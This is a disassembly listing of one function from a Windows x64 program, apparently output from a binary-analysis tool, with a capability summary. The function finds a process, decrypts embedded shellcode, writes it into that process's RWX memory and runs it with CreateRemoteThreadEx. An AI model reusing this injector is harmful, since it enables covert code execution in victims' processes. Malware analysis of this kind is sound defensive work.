Function at 0x140009680
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x378
lea rbp, [rsp + 0x80]
lea rsi, [0x14000b355]
xor r12d, r12d
lea r13, str._n____Process__s_not_found._n_n
call fcn.140001d77
lea rdi, [rbp + 0xf0]
xor r9d, r9d
movabs rax, 0xa625ae2816d2212b
movabs rdx, 0x3c4fcf099897f7ab
mov qword [rbp - 0x20], rax
mov ecx, pe_nt_image_headers64
movabs rax, 0x701050403020600
rep movsd dword [rdi], dword [rsi]
mov qword [rbp - 0x18], rdx
lea rcx, str._n___Starting_program..._n
movabs rdx, 0xf0e0d0c0b0a0908
mov dword [rbp - 0x24], r9d
mov rdi, rbp
lea rsi, section..data
mov qword [rbp - 8], rdx
mov qword [rbp - 0x10], rax
call fcn.1400015e0
lea rcx, str._n___Trying_to_find_process_to_inject_sc..._n
call fcn.1400015e0
mov ecx, 0xc
rep movsd dword [rdi], dword [rsi]
lea rsi, [rbp + 0xf0]
mov rdi, rbp
mov rdx, qword [rdi + r12*8]
mov rcx, rdx
mov qword [rbp - 0x38], rdx
call fcn.140001627
mov rdx, qword [rbp - 0x38]
test eax, eax
mov ebx, eax
je 0x140009762
mov r8d, ebx
lea rcx, str._n___Process_ID_of__s_is:__lu_n
mov r14d, 0x7fffffff
call fcn.1400015e0
jmp 0x140009775
mov rcx, r13
call fcn.1400015e0
cmp r12, 5
je 0x1400097ad
inc r12
jmp 0x140009731
nop
dec r14d
jne 0x140009775
mov edx, ebx
lea rcx, str._n___Trying_to_open_Handle_to_Process_with_PID__lu..._n
call fcn.1400015e0
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r12, rax
test rax, rax
jne 0x1400097b7
lea rcx, str._n____Opening_handle_to_process_failed..._n
call fcn.1400015e0
mov eax, 1
jmp 0x14000994e
mov edx, ebx
lea rcx, str._n___Successfully_opened_a_Handle_to_Process_with_PID__lu_n
call fcn.1400015e0
mov edx, ebx
lea rcx, str._n___Trying_to_reserve_extra_Memory_for_Process_with_PID__lu..._n
call fcn.1400015e0
mov rcx, r12
mov r9d, 0x3000
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r8d, 0x200
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea rcx, str._n____Reserving_extra_Memory_for_Process_has_failed_n
mov r13, rax
test rax, rax
je 0x1400097a8
mov edx, 0x200
lea rcx, str._n___Successfully_allocated__u_Bytes_to_the_process_n
lea r15, [rbp + 0x30]
call fcn.1400015e0
lea rdx, [rbp - 0x20]
lea r8, [rbp - 0x10]
mov rcx, r15
sub rsp, 0x200
lea rax, [rsp + 0x40]
mov qword [rbp - 0x38], rax
call fcn.140001b30
mov rdi, qword [rbp - 0x38]
mov ecx, pe_nt_image_headers64
mov rdx, qword [rbp - 0x38]
rep movsd dword [rdi], dword [rsi]
mov r8d, 0x200
mov rcx, r15
call fcn.140001be2
lea rcx, str._n___Successfully_decrypted_sc_n
call fcn.1400015e0
xor eax, eax
mov r9d, 0x200
mov rdx, r13
mov qword [rsp + 0x20], rax
mov rcx, r12
mov r8, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, 0x200
lea rcx, str._n___Successfully_wrote__u_Bytes_to_the_process_n
call fcn.1400015e0
mov rdi, qword [rbp - 0x38]
mov eax, r14d
mov edx, ebx
mov ecx, pe_nt_image_headers64
rep stosd dword [rdi], eax
lea rcx, str._n___Trying_to_launch_the_sc__already_loaded_into_the_Memory__for_Process_with_PID__lu..._n
call fcn.1400015e0
xor edx, edx
xor ecx, ecx
xor r8d, r8d
lea rax, [rbp - 0x24]
mov qword [rsp + 0x30], rdx
mov r9, r13
xor edx, edx
mov dword [rsp + 0x28], ecx
mov rcx, r12
mov qword [rsp + 0x20], r8
xor r8d, r8d
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
test rax, rax
mov rbx, rax
jne 0x1400098fd
lea rcx, str._n____Creating_Remote_Thread_failed._Sc_has_not_been_executed_:__n
call fcn.1400015e0
mov rcx, r12
call rsi
jmp 0x1400097ad
lea rcx, str._n___Successfully_created_Remote_Thread_and_executed_SC_:D_n
call fcn.1400015e0
xor r8d, r8d
mov rdx, r13
mov rcx, rbx
mov r9d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
lea rcx, str._n___Waiting_for_Thread_to_finish..._n
call fcn.1400015e0
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call rsi
mov rcx, r12
call rsi
lea rcx, str._n___Successfully_closed_both_Handles__to_process__thread__n
call fcn.1400015e0
xor eax, eax
lea rsp, [rbp + 0x2f8]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret